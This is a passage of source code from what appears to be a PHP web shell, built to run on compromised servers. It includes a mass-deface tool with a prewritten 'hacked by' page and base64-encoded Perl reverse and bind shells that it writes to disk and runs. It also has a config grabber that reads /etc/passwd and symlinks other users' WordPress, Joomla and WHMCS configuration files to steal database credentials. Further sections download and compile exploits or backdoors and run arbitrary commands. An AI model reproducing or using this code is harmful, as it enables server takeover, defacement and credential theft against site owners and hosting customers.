6710echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value=' . $hash1 . '></td></tr>';
6711echo '<tr><td>Sha256</td><td><input class=inputz type=text size=50 value=' . $sha256 . '></td></tr>';
6712echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value=' . $hash1_sha1 . '></td></tr>';
6713echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value=' . $hash1_sha1_double . '></td></tr></table>';
6714}
6715///////////// END OF HASH
6716########################################################################
6717######################################################
6718////START HASH ID
6719elseif (isset($_GET['x']) && ($_GET['x'] == 'hashid')) {if (isset($_POST['gethash'])) {$hash = $_POST['hash'];
6720if (strlen($hash) == 32) {$hashresult = "MD5 Hash";
6721} elseif (strlen($hash) == 40) {$hashresult = "SHA-1 Hash/ /MySQL5 Hash";
6722} elseif (strlen($hash) == 13) {$hashresult = "DES(Unix) Hash";
6723} elseif (strlen($hash) == 16) {$hashresult = "MySQL Hash / /DES(Oracle Hash)";
6724} elseif (strlen($hash) == 41) {$GetHashChar = substr($hash, 40);
6725if ($GetHashChar == "*") {$hashresult = "MySQL5 Hash";
6726}} elseif (strlen($hash) == 64) {$hashresult = "SHA-256 Hash";
6727} elseif (strlen($hash) == 96) {$hashresult = "SHA-384 Hash";
6728} elseif (strlen($hash) == 128) {$hashresult = "SHA-512 Hash";
6729} elseif (strlen($hash) == 34) {if (strstr($hash, '$1$')) {$hashresult = "MD5(Unix) Hash";
6730}} elseif (strlen($hash) == 37) {if (strstr($hash, '$apr1$')) {$hashresult = "MD5(APR) Hash";
6731}} elseif (strlen($hash) == 34) {if (strstr($hash, '$H$')) {$hashresult = "MD5(phpBB3) Hash";
6732}} elseif (strlen($hash) == 34) {if (strstr($hash, '$P$')) {$hashresult = "MD5(Wordpress) Hash";
6733}} elseif (strlen($hash) == 39) {if (strstr($hash, '$5$')) {$hashresult = "SHA-256(Unix) Hash";
6734}} elseif (strlen($hash) == 39) {if (strstr($hash, '$6$')) {$hashresult = "SHA-512(Unix) Hash";
6735}} elseif (strlen($hash) == 24) {if (strstr($hash, '==')) {$hashresult = "MD5(Base-64) Hash";
6736}} else {$hashresult = "Hash type not found";
6737}} else {$hashresult = "Not Hash Entered";
6738}
6739?>
6740 <center><br><Br><br>
6741
6742 <form action="" method="POST">
6743 <tr>
6744 <table class="tabnet">
6745 <th colspan="5">Hash Identification</th>
6746 <tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td> <td><input type="text" name="hash" size='60' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
6747 <tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
6748 </table></tr></form>
6749 </center>
6750
6751 <?php
6752}
6753//////////////////// MASS DEFACE START HERE
6754elseif (isset($_GET['x']) && ($_GET['x'] == 'mass')) {echo "<center/><br/><b><font color=white>Mass Deface (r3code by Kerupuk)</font></b><br>";
6755error_reporting(0); ?>
6756<form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF'] ?>" method='post'>
6757<br>
6758<br>
6759note: if not domain in deface result, that mean this site not work mass deface (permission denied)<br><td><table><table class="tabnet" >
6760<form hethot='post'>
6761<tr>
6762 <tr>
6763 <td> Folder</td><td><input class ='inputz' type='text' name='path' size='60' value="<?php echo getcwd(); ?>"></td>
6764 </tr><br>
6765 <tr>
6766 <td>file name</td><td><input class ='inputz' type='text' name='file' size='60' value="del.htm"></td>
6767 </tr>
6768</tr>
6769<th colspan='2'><b>Script Deface</b></th><br></table>
6770<textarea style='background:black;outline:none;color:white;' name='index' rows='10' cols='67'>
6771<html>
6772<head>
6773<title>hacked by Pasirmerah</title>
6774<link rel='SHORTCUT ICON' type='image/x-icon' href='http://i48.servimg.com/u/f48/16/08/07/74/indone10.gif'>
6775<meta name="robots" content="index, follow">
6776<meta name="Description" content="hacked by Pasirmerah">
6777<meta name="keyword" content="hacked by Pasirmerah">
6778<meta name="googlebot" content="index,follow" />
6779<meta name="robots" content="all" />
6780<meta name="robots schedule" content="auto" />
6781<meta name="distribution" content="global" />
6782<body onload="type_text()" alink="#ffffff" vlink="#ffffff" link="#ffffff" text="#ffffff">
6783<table height=90% width=100%>
6784<script type="text/javascript">
6785
6786var snowmax=75
6787var snowcolor=new Array("#AAAACC","#DDDDFF","#CCCCDD","#F3F3F3","#F0FFFF")
6788var snowtype=new Array("Arial Black","Arial Narrow","Times","Comic Sans MS")
6789var snowletter="*"
6790var sinkspeed=0.6
6791var snowmaxsize=22
6792var snowminsize=8
6793var snowingzone=1
6794
6795// Do not edit below this line
6796var snow=new Array()
6797var marginbottom
6798var marginright
6799var timer
6800var i_snow=0
6801var x_mv=new Array();
6802var crds=new Array();
6803var lftrght=new Array();
6804var browserinfos=navigator.userAgent
6805var ie5=document.all&&document.getElementById&&!browserinfos.match(/Opera/)
6806var ns6=document.getElementById&&!document.all
6807var opera=browserinfos.match(/Opera/)
6808var browserok=ie5||ns6||opera
6809
6810function randommaker(range) {
6811 rand=Math.floor(range*Math.random())
6812 return rand
6813}
6814
6815function initsnow() {
6816 if (ie5 || opera) {
6817 marginbottom = document.body.clientHeight
6818 marginright = document.body.clientWidth
6819 }
6820 else if (ns6) {
6821 marginbottom = window.innerHeight
6822 marginright = window.innerWidth
6823 }
6824 var snowsizerange=snowmaxsize-snowminsize
6825 for (i=0;i<=snowmax;i++) {
6826 crds[i] = 0;
6827 lftrght[i] = Math.random()*15;
6828 x_mv[i] = 0.03 + Math.random()/10;
6829 snow[i]=document.getElementById("s"+i)
6830 snow[i].style.fontFamily=snowtype[randommaker(snowtype.length)]
6831 snow[i].size=randommaker(snowsizerange)+snowminsize
6832 snow[i].style.fontSize=snow[i].size
6833 snow[i].style.color=snowcolor[randommaker(snowcolor.length)]
6834 snow[i].sink=sinkspeed*snow[i].size/5
6835 if (snowingzone==1) {snow[i].posx=randommaker(marginright-snow[i].size)}
6836 if (snowingzone==2) {snow[i].posx=randommaker(marginright/2-snow[i].size)}
6837 if (snowingzone==3) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/4}
6838 if (snowingzone==4) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/2}
6839 snow[i].posy=randommaker(2*marginbottom-marginbottom-2*snow[i].size)
6840 snow[i].style.left=snow[i].posx
6841 snow[i].style.top=snow[i].posy
6842 }
6843 movesnow()
6844}
6845
6846function movesnow() {
6847 for (i=0;i<=snowmax;i++) {
6848 crds[i] += x_mv[i];
6849 snow[i].posy+=snow[i].sink
6850 snow[i].style.left=snow[i].posx+lftrght[i]*Math.sin(crds[i]);
6851 snow[i].style.top=snow[i].posy
6852
6853 if (snow[i].posy>=marginbottom-2*snow[i].size || parseInt(snow[i].style.left)>(marginright-3*lftrght[i])){
6854 if (snowingzone==1) {snow[i].posx=randommaker(marginright-snow[i].size)}
6855 if (snowingzone==2) {snow[i].posx=randommaker(marginright/2-snow[i].size)}
6856 if (snowingzone==3) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/4}
6857 if (snowingzone==4) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/2}
6858 snow[i].posy=0
6859 }
6860 }
6861 var timer=setTimeout("movesnow()",50)
6862}
6863
6864for (i=0;i<=snowmax;i++) {
6865 document.write("<span id='s"+i+"' style='position:absolute;top:-"+snowmaxsize+"'>"+snowletter+"</span>")
6866}
6867if (browserok) {
6868 window.onload=initsnow
6869}
6870</script>
6871<td align=center>
6872</head>
6873<body bgcolor="#000000" text="#ffffff"><center>
6874<font face=courier new>
6875<h1>
6876<font color='red'>hacked by Pasirmerah</font><p>
6877<font size=3>don't worry, and keep your calm<br>
6878Deface just a game, if you say it's a crime, that mean you're stupid<p>
6879</font>
6880<font face='courier new' size=3>
6881greets for you <a href="http://zone-h.org/archive/notifier=Sinkaroid" target="_blank">
6882<img src="http://s10.postimg.org/6cc1ngy7p/Cur.png" name="haha you found me" height=20 width=25></img></a>
6883</font>
6884<EMBED ALIGN='CENTER' AUTOSTART='TRUE' HEIGHT='1' LOOP='TRUE' SRC='http://vivat365.com/wp-admin/videoplayback_2.swf' WIDTH='1'></EMBED>
6885</style>
6886</body>
6887</html>
6888</textarea><br>
6889<center><input class='inputzbut' type='submit' value=" Deface "></center></form></table><br></form>
6890<h3>defaced result: </h3>
6891<br><br>
6892versi text area:<br>
6893<textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>
6894<?php $ini = "http://";
6895$mainpath = $_POST[path];
6896$file = $_POST[file];
6897$dir = opendir("$mainpath");
6898$code = base64_encode($_POST[index]);
6899$indx = base64_decode($code);
6900while ($row = readdir($dir)) {$start = @fopen("$row/$file", "w+");
6901$finish = @fwrite($start, $indx);
6902if ($finish) {echo "$ini$row/$file
6903";
6904}}
6905?>
6906</textarea><br>
6907<br><br>versi text:<br><br>
6908<?php $ini = "http://";
6909$mainpath = $_POST[path];
6910$file = $_POST[file];
6911$dir = opendir("$mainpath");
6912$code = base64_encode($_POST[index]);
6913$indx = base64_decode($code);
6914while ($row = readdir($dir)) {$start = @fopen("$row/$file", "w+");
6915$finish = @fwrite($start, $indx);
6916if ($finish) {echo "<a href=" . "$ini$row/$file" . " target=" . "_blank" . ">$ini$row/$file</a><br>";
6917}}
6918?>
6919<?php
6920} elseif (isset($_GET['x']) && ($_GET['x'] == 'sbc')) {@ini_set('output_buffering', 0);
6921?>
6922 <form action="?y=<?php echo $pwd; ?>&x=sbc" method="post">
6923 <br><br><center><b><font size=4>Back Connect Simple</font></b></center><br>
6924<?php
6925echo "
6926<head>
6927<link rel='icon' type='image/ico' href='http://media.stateofq.com/photologue/photos/cache/facebook%20favicon_thumbnail.png'/>
6928<form method='POST'>
6929<title>Facebook Brute Force 2014</title>
6930</head>
6931<style>
6932textarea {
6933resize:none;
6934color: #000000 ;
6935border:1px solid red ;
6936border-left: 4px solid red ;
6937}
6938input {
6939color: #000000;
6940border:1px dotted black;
6941}
6942</style>";
6943if ($_REQUEST['cdirname']) {if (mkdir($_REQUEST['cdirname'], "0777")) {alert("Directory Created !");
6944} else {alert("Permission Denied !");
6945}}function bcn($ipbc, $pbc) {$bcperl = "IyEvdXNyL2Jpbi9wZXJsCiMgQ29ubmVjdEJhY2tTaGVsbCBpbiBQZXJsLiBTaGFkb3cxMjAgLSB3
6946NGNrMW5nLmNvbQoKdXNlIFNvY2tldDsKCiRob3N0ID0gJEFSR1ZbMF07CiRwb3J0ID0gJEFSR1Zb
6947MV07CgogICAgaWYgKCEkQVJHVlswXSkgewogIHByaW50ZiAiWyFdIFVzYWdlOiBwZXJsIHNjcmlw
6948dC5wbCA8SG9zdD4gPFBvcnQ+XG4iOwogIGV4aXQoMSk7Cn0KcHJpbnQgIlsrXSBDb25uZWN0aW5n
6949IHRvICRob3N0XG4iOwokcHJvdCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsgIyBZb3UgY2FuIGNo
6950YW5nZSB0aGlzIGlmIG5lZWRzIGJlCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFN
6951LCAkcHJvdCkgfHwgZGllICgiWy1dIFVuYWJsZSB0byBDb25uZWN0ICEiKTsKaWYgKCFjb25uZWN0
6952KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGll
6953KCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpO30KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOwog
6954IG9wZW4oU1RET1VULCI+JlNFUlZFUiIpOwogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOwogIGV4
6955ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow==";
6956$opbc = fopen("bcc.pl", "w");
6957fwrite($opbc, base64_decode($bcperl));
6958fclose($opbc);
6959system("perl bcc.pl $ipbc $pbc") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
6960}function wbp($wb) {$wbp = "dXNlIFNvY2tldDsKJHBvcnQJPSAkQVJHVlswXTsKJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3Rj
6961cCcpOwpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsKc2V0c29j
6962a29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgcGFjaygibCIsIDEpKTsKYmlu
6963ZChTRVJWRVIsIHNvY2thZGRyX2luKCRwb3J0LCBJTkFERFJfQU5ZKSk7Cmxpc3RlbihTRVJWRVIs
6964IFNPTUFYQ09OTik7CmZvcig7ICRwYWRkciA9IGFjY2VwdChDTElFTlQsIFNFUlZFUik7IGNsb3Nl
6965IENMSUVOVCkKewpvcGVuKFNURElOLCAiPiZDTElFTlQiKTsKb3BlbihTVERPVVQsICI+JkNMSUVO
6966VCIpOwpvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7CnN5c3RlbSgnY21kLmV4ZScpOwpjbG9zZShT
6967VERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7Cn0g";
6968$opwb = fopen("wbp.pl", "w");
6969fwrite($opwb, base64_decode($wbp));
6970fclose($opwb);
6971echo getcwd();
6972system("perl wbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
6973}function lbp($wb) {$lbp = "IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7JHBvcnQ9JEFSR1ZbMF07JHByb3RvPWdldHByb3Rv
6974YnluYW1lKCd0Y3AnKTskY21kPSJscGQiOyQwPSRjbWQ7c29ja2V0KFNFUlZFUiwgUEZfSU5FVCwg
6975U09DS19TVFJFQU0sICRwcm90byk7c2V0c29ja29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JF
6976VVNFQUREUiwgcGFjaygibCIsIDEpKTtiaW5kKFNFUlZFUiwgc29ja2FkZHJfaW4oJHBvcnQsIElO
6977QUREUl9BTlkpKTtsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pO2Zvcig7ICRwYWRkciA9IGFjY2Vw
6978dChDTElFTlQsIFNFUlZFUik7IGNsb3NlIENMSUVOVCl7b3BlbihTVERJTiwgIj4mQ0xJRU5UIik7
6979b3BlbihTVERPVVQsICI+JkNMSUVOVCIpO29wZW4oU1RERVJSLCAiPiZDTElFTlQiKTtzeXN0ZW0o
6980Jy9iaW4vc2gnKTtjbG9zZShTVERJTik7Y2xvc2UoU1RET1VUKTtjbG9zZShTVERFUlIpO30g";
6981$oplb = fopen("lbp.pl", "w");
6982fwrite($oplb, base64_decode($lbp));
6983fclose($oplb);
6984system("perl lbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
6985}if ($_REQUEST['portbw']) {wbp($_REQUEST['portbw']);
6986}if ($_REQUEST['portbl']) {lbp($_REQUEST['portbl']);
6987}if ($_REQUEST['ipcb'] && $_REQUEST['portbc']) {bcn($_REQUEST['ipcb'], $_REQUEST['portbc']);
6988}echo "<p align='center'><font face='Tahoma' color='#007700' size='2pt' /><p align='center'><br>Ip : <input type=text name=ipcb value=" . $_SERVER['REMOTE_ADDR'] . "> Port : <input type=text name=portbc value=5555> <input type=submit value=Connect></form>" . $formp . "<p align='center'><p align='center'><br><font face='Tahoma' color='#009900' size='2pt'> Windows Bind Port</font> <br>Port : <input type=text name=portbw value=5555> <input type=submit value=Connect></form>" . $formp . "<p align='center'> <br><font face='Tahoma' color='#009900' size='2pt'>Linux Bind Port</font> <br>Port : <input type=text name=portbl value=5555> <input type=submit value=Connect></form><br><br>" . $end;
6989exit;
6990}
6991////////////////////////////////////////////////////////////////////////////
6992elseif (isset($_GET['x']) && ($_GET['x'] == 'grabc')) {@ini_set('output_buffering', 0);
6993?>
6994 <form action="?y=<?php echo $pwd; ?>&x=grabc" method="post">
6995 <br><br><center><b><font size=4>Config Grabber !</font></b></center><br>
6996<?php
6997echo "
6998<form method='POST'>
6999</head>
7000<style>
7001textarea {
7002resize:none;
7003color: #000000 ;
7004background-color:#000000;
7005font-size:8pt; color:#ffffff;
7006border:1px solid white ;
7007border-left: 4px solid white ;
7008width:543px;
7009height:400px;
7010}
7011input {
7012color: #000000;
7013border:1px dotted white;
7014}
7015</style>";
7016echo "<center>"; ?></center><br><center><?php if (empty($_POST['config'])) { ?><p><font face="Tahoma" color="#007700" size="2pt">/etc/passwd content</p><br><form method="POST"><textarea name="passwd" class='area' rows='15' cols='60'><?php echo file_get_contents('/etc/passwd'); ?></textarea><br><br><input name="config" class='inputzbut' size="100" value="Grab!" type="submit"><br></form></center><br><?php }if ($_POST['config']) {$function = $functions = @ini_get("disable_functions");
7017if (eregi("symlink", $functions)) {die('<error>Symlink disabled :( </error>');
7018}@mkdir('pasirgrab', 0755);
7019@chdir('pasirgrab');
7020$htaccess = "
7021OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
7022Options Indexes FollowSymLinks
7023ForceType text/plain
7024AddType text/plain .php
7025AddType text/plain .html
7026AddType text/html .shtml
7027AddType txt .php
7028AddHandler server-parsed .php
7029AddHandler txt .php
7030AddHandler txt .html
7031AddHandler txt .shtml
7032Options All
7033Options All";
7034file_put_contents(".htaccess", $htaccess, FILE_APPEND);
7035$passwd = $_POST["passwd"];
7036$passwd = explode("
7037", $passwd);
7038echo "<br><br><center><font color=#b0b000 size=2pt>wait ...</center><br>";
7039foreach ($passwd as $pwd) {$pawd = explode(":", $pwd);
7040$user = $pawd[0];
7041@symlink('/home/' . $user . '/public_html/wp-config.php', $user . '-wp13.txt');
7042@symlink('/home/' . $user . '/public_html/wp/wp-config.php', $user . '-wp13-wp.txt');
7043@symlink('/home/' . $user . '/public_html/WP/wp-config.php', $user . '-wp13-WP.txt');
7044@symlink('/home/' . $user . '/public_html/wp/beta/wp-config.php', $user . '-wp13-wp-beta.txt');
7045@symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp13-beta.txt');
7046@symlink('/home/' . $user . '/public_html/press/wp-config.php', $user . '-wp13-press.txt');
7047@symlink('/home/' . $user . '/public_html/wordpress/wp-config.php', $user . '-wp13-wordpress.txt');
7048@symlink('/home/' . $user . '/public_html/Wordpress/wp-config.php', $user . '-wp13-Wordpress.txt');
7049@symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp13-Wordpress.txt');
7050@symlink('/home/' . $user . '/public_html/config.php', $user . '-configgg.txt');
7051@symlink('/home/' . $user . '/public_html/news/wp-config.php', $user . '-wp13-news.txt');
7052@symlink('/home/' . $user . '/public_html/new/wp-config.php', $user . '-wp13-new.txt');
7053@symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp-blog.txt');
7054@symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp-beta.txt');
7055@symlink('/home/' . $user . '/public_html/blogs/wp-config.php', $user . '-wp-blogs.txt');
7056@symlink('/home/' . $user . '/public_html/home/wp-config.php', $user . '-wp-home.txt');
7057@symlink('/home/' . $user . '/public_html/db.php', $user . '-dbconf.txt');
7058@symlink('/home/' . $user . '/public_html/site/wp-config.php', $user . '-wp-site.txt');
7059@symlink('/home/' . $user . '/public_html/main/wp-config.php', $user . '-wp-main.txt');
7060@symlink('/home/' . $user . '/public_html/configuration.php', $user . '-wp-test.txt');
7061@symlink('/home/' . $user . '/public_html/joomla/configuration.php', $user . '-joomla2.txt');
7062@symlink('/home/' . $user . '/public_html/portal/configuration.php', $user . '-joomla-protal.txt');
7063@symlink('/home/' . $user . '/public_html/joo/configuration.php', $user . '-joo.txt');
7064@symlink('/home/' . $user . '/public_html/cms/configuration.php', $user . '-joomla-cms.txt');
7065@symlink('/home/' . $user . '/public_html/site/configuration.php', $user . '-joomla-site.txt');
7066@symlink('/home/' . $user . '/public_html/main/configuration.php', $user . '-joomla-main.txt');
7067@symlink('/home/' . $user . '/public_html/news/configuration.php', $user . '-joomla-news.txt');
7068@symlink('/home/' . $user . '/public_html/new/configuration.php', $user . '-joomla-new.txt');
7069@symlink('/home/' . $user . '/public_html/home/configuration.php', $user . '-joomla-home.txt');
7070@symlink('/home/' . $user . '/public_html/vb/includes/config.php', $user . '-vb-config.txt');
7071@symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm15.txt');
7072@symlink('/home/' . $user . '/public_html/central/configuration.php', $user . '-whm-central.txt');
7073@symlink('/home/' . $user . '/public_html/whm/whmcs/configuration.php', $user . '-whm-whmcs.txt');
7074@symlink('/home/' . $user . '/public_html/whm/WHMCS/configuration.php', $user . '-whm-WHMCS.txt');
7075@symlink('/home/' . $user . '/public_html/whmc/WHM/configuration.php', $user . '-whmc-WHM.txt');
7076@symlink('/home/' . $user . '/public_html/whmcs/configuration.php', $user . '-whmcs.txt');
7077@symlink('/home/' . $user . '/public_html/support/configuration.php', $user . '-support.txt');
7078@symlink('/home/' . $user . '/public_html/configuration.php', $user . '-joomla.txt');
7079@symlink('/home/' . $user . '/public_html/submitticket.php', $user . '-whmcs2.txt');
7080@symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm.txt');
7081}echo '<b class="cone"><font face="Tahoma" color="#00dd00" size="2pt"><b>Done -></b> <a target="_blank" href="pasirgrab">Open configs</a></font></b>';
7082}}
7083////////////////////////////////////////////////////////////////////////////
7084elseif (isset($_GET['x']) && ($_GET['x'] == 'about')) {
7085?>
7086 <form action="?y=<?php echo $pwd; ?>&x=about" method="post">
7087 <br><br><br><center>
7088 <br>I don't have many messages<br>
7089 NOTHING SPECIAL, JUST SAY $ Art is the Soul that Moves through the Media $
7090<br>Hellyeah!<br>
7091 </div>
7092<?php
7093}
7094//////////////////////////////////////////////////////////////////////////////
7095elseif (isset($_GET['x']) && ($_GET['x'] == 'upload')) {if (isset($_POST['uploadcomp'])) {if (is_uploaded_file($_FILES['file']['tmp_name'])) {$path = magicboom($_POST['path']);
7096$fname = $_FILES['file']['name'];
7097$tmp_name = $_FILES['file']['tmp_name'];
7098$pindah = $path . $fname;
7099$stat = @move_uploaded_file($tmp_name, $pindah);
7100if ($stat) {$msg = "file uploaded to $pindah";
7101} else $msg = "failed to upload $fname";
7102} else $msg = "failed to upload $fname";
7103} elseif (isset($_POST['uploadurl'])) {$pilihan = trim($_POST['pilihan']);
7104$wurl = trim($_POST['wurl']);
7105$path = magicboom($_POST['path']);
7106$namafile = download($pilihan, $wurl);
7107$pindah = $path . $namafile;
7108if (is_file($pindah)) {$msg = "file uploaded to $pindah";
7109} else $msg = "failed to upload $namafile";
7110}
7111?>
7112<form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
7113<table class="tabnet" style="width:320px;padding:0 1px;">
7114<tr><th colspan="2">Upload from computer</th></tr>
7115<tr><td colspan="2"><p style="text-align:center;"><input style="color:#ffffff;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
7116<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
7117</tr>
7118</table></form>
7119<table class="tabnet" style="width:320px;padding:0 1px;">
7120<tr><th colspan="2">Upload from url</th></tr>
7121<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=upload">
7122<table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
7123<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
7124<tr><td><select size="1" class="inputz" name="pilihan">
7125<option value="wwget">wget</option>
7126<option value="wlynx">lynx</option>
7127<option value="wfread">fread</option>
7128<option value="wfetch">fetch</option>
7129<option value="wlinks">links</option>
7130<option value="wget">GET</option>
7131<option value="wcurl">curl</option>
7132</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
7133</tr>
7134</table>
7135<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
7136<?php } elseif (isset($_GET['x']) && ($_GET['x'] == 'netsploit')) {
7137// bind connect with c
7138if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {$port = trim($_POST['port']);
7139$passwrd = trim($_POST['bind_pass']);
7140tulis("bdc.c", $port_bind_bd_c);
7141exe("gcc -o bdc bdc.c");
7142exe("chmod 777 bdc");
7143@unlink("bdc.c");
7144exe("./bdc " . $port . " " . $passwrd . " &");
7145$scan = exe("ps aux");
7146if (eregi("./bdc $por", $scan)) {$msg = "<p>Process found running, backdoor setup successfully.</p>";
7147} else {$msg = "<p>Process not found running, backdoor not setup successfully.</p>";
7148}}
7149// bind connect with perl
7150elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {$port = trim($_POST['port']);
7151$passwrd = trim($_POST['bind_pass']);
7152tulis("bdp", $port_bind_bd_pl);
7153exe("chmod 777 bdp");
7154$p2 = which("perl");
7155exe($p2 . " bdp " . $port . " &");
7156$scan = exe("ps aux");
7157if (eregi("$p2 bdp $port", $scan)) {$msg = "<p>Process found running, backdoor setup successfully.</p>";
7158} else {$msg = "<p>Process not found running, backdoor not setup successfully.</p>";
7159}}
7160// back connect with c
7161elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {$ip = trim($_POST['ip']);
7162$port = trim($_POST['backport']);
7163tulis("bcc.c", $back_connect_c);
7164exe("gcc -o bcc bcc.c");
7165exe("chmod 777 bcc");
7166@unlink("bcc.c");
7167exe("./bcc " . $ip . " " . $port . " &");
7168$msg = "Now script try connect to " . $ip . " port " . $port . " ...";
7169}
7170// back connect with perl
7171elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {$ip = trim($_POST['ip']);
7172$port = trim($_POST['backport']);
7173tulis("bcp", $back_connect);
7174exe("chmod +x bcp");
7175$p2 = which("perl");
7176exe($p2 . " bcp " . $ip . " " . $port . " &");
7177$msg = "Now script try connect to " . $ip . " port " . $port . " ...";
7178} elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) {$pilihan = trim($_POST['pilihan']);
7179$wurl = trim($_POST['wurl']);
7180$namafile = download($pilihan, $wurl);
7181if (is_file($namafile)) {$msg = exe($wcmd);
7182} else $msg = "error: file not found $namafile";
7183}
7184?>
7185<table class="tabnet">
7186<tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
7187<tr>
7188<td>
7189<table>
7190<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
7191<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
7192<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
7193<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
7194<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
7195</table>
7196</td>
7197<td>
7198<table>
7199<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
7200<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr>
7201<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
7202<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
7203<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
7204</table>
7205</td>
7206<td>
7207<table>
7208<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
7209<tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
7210<tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
7211</tr>
7212<tr><td><select size="1" class="inputz" name="pilihan">
7213<option value="wwget">wget</option>
7214<option value="wlynx">lynx</option>
7215<option value="wfread">fread</option>
7216<option value="wfetch">fetch</option>
7217<option value="wlinks">links</option>
7218<option value="wget">GET</option>
7219<option value="wcurl">curl</option>
7220</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
7221</table>
7222</td>
7223</tr>
7224</table>
7225<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
7226<?php } elseif (isset($_GET['x']) && ($_GET['x'] == 'shell')) { ?>
7227<form action="?y=<?php echo $pwd; ?>&x=shell" method="post">
7228<table class="cmdbox">
7229<tr><td colspan="2">
7230<textarea class="output" readonly>
7231<?php
7232if (isset($_POST['submitcmd'])) {echo @exe($_POST['cmd']);
7233}
7234?>
7235</textarea>
7236<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
7237</table>
7238</form>
7239<?php } else {if (isset($_GET['delete']) && ($_GET['delete'] != "")) {$file = $_GET['delete'];
7240@unlink($file);
